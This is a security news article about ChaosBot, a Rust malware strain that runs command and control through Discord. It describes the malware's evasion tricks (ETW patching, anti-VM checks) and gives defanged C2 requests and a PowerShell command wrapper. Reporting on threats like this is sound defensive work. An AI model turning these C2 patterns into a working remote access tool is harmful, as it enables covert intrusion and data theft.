New Rust-Based ChaosBot Malware Leverages Discord for Stealthy Command and Control

A sophisticated new threat has emerged in the cybersecurity landscape, leveraging the popular communication platform Discord to conduct covert operations.

ChaosBot, a Rust-based malware strain, represents an evolution in adversarial tactics by hiding malicious command and control traffic within legitimate cloud service communications.

This approach allows attackers to blend seamlessly into normal network traffic, making detection significantly more challenging for traditional security solutions.

The malware operates through a carefully orchestrated infection chain that begins with either compromised VPN credentials or phishing campaigns using malicious Windows shortcut files.

Once executed, ChaosBot establishes persistent access by validating its Discord bot token and creating a dedicated private channel named after the victim’s computer.

This channel becomes an interactive command shell where attackers issue commands such as shell, download, and scr (screenshot), with results exfiltrated back as attached files through Discord’s API.

Picussecurity researchers identified the malware’s sophisticated evasion capabilities, which include patching the Windows Event Tracing (ETW) function to blind endpoint detection systems and performing anti-virtualization checks against known MAC address prefixes for VMware and VirtualBox environments.

These techniques demonstrate a deliberate effort to evade analysis in sandboxed security research environments.

Discord-Based Command and Control Infrastructure

ChaosBot’s technical implementation reveals a well-engineered C2 protocol built entirely on Discord’s API infrastructure.

Written in Rust and utilizing the reqwest or serenity library, the malware maintains communication through standard HTTPS requests that appear identical to legitimate Discord traffic.

Upon initial execution, ChaosBot validates its embedded bot token with a GET request to hxxps://discord[.]com/api/v10/users/@me.

Following successful authentication, it creates a victim-specific channel using a POST request:-

POST hxxps://discord[.]com/api/v10/guilds/<THREAT_ACTOR_GUILD_ID>/channels 
{"name":"<VICTIM_COMPUTER_NAME>","type":0}

Command execution relies on a continuous polling mechanism that checks for new messages in the victim’s channel.

When operators issue shell commands, ChaosBot forces UTF8 encoding through PowerShell: powershell -Command "$OutputEncoding = [System.Text.Encoding]::UTF8; <SOME_COMMAND>".

The command output, screenshots, or downloaded files are then uploaded back to Discord as multipart/form-data attachments, creating a fully functional remote access capability through a platform trusted by most corporate firewalls and security appliances.

Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

Tushar Subhra Dutta

Tushar is a senior cybersecurity and breach reporter. He specializes in covering cybersecurity news, trends, and emerging threats, data breaches, and malware attacks. With years of experience, he brings clarity and depth to complex security topics.

Recent Posts

Broadcom Allegedly Breached by Clop Ransomware via E-Business Suite 0-Day Hack

The Cl0p ransomware group has claimed responsibility for infiltrating Broadcom's internal systems as part of…

14 minutes ago

Critical Grafana Vulnerability Let Attackers Escalate Privilege

Grafana Labs has disclosed a critical security vulnerability affecting Grafana Enterprise that could allow attackers…

18 minutes ago

Critical ASUSTOR Vulnerability Let Attackers Execute Malicious Code with Elevated Privileges

A critical security vulnerability has been discovered in ASUSTOR backup and synchronization software, allowing attackers…

1 hour ago

Windows 11 to Hide BSOD Crash Errors on Public Displays

Microsoft has introduced a practical new feature in Windows 11 designed specifically for public-facing monitors…

2 hours ago

SonicOS SSLVPN Vulnerability Let Attackers Crash the Firewall Remotely

SonicWall has disclosed a critical stack-based buffer overflow vulnerability in its SonicOS SSLVPN service. That…

5 hours ago

OpenAI Releases GPT-5.1-Codex-Max that Performs Coding Tasks Independently

OpenAI has launched GPT-5.1-Codex-Max, a specialized coding model designed to handle complex development tasks autonomously. The…

5 hours ago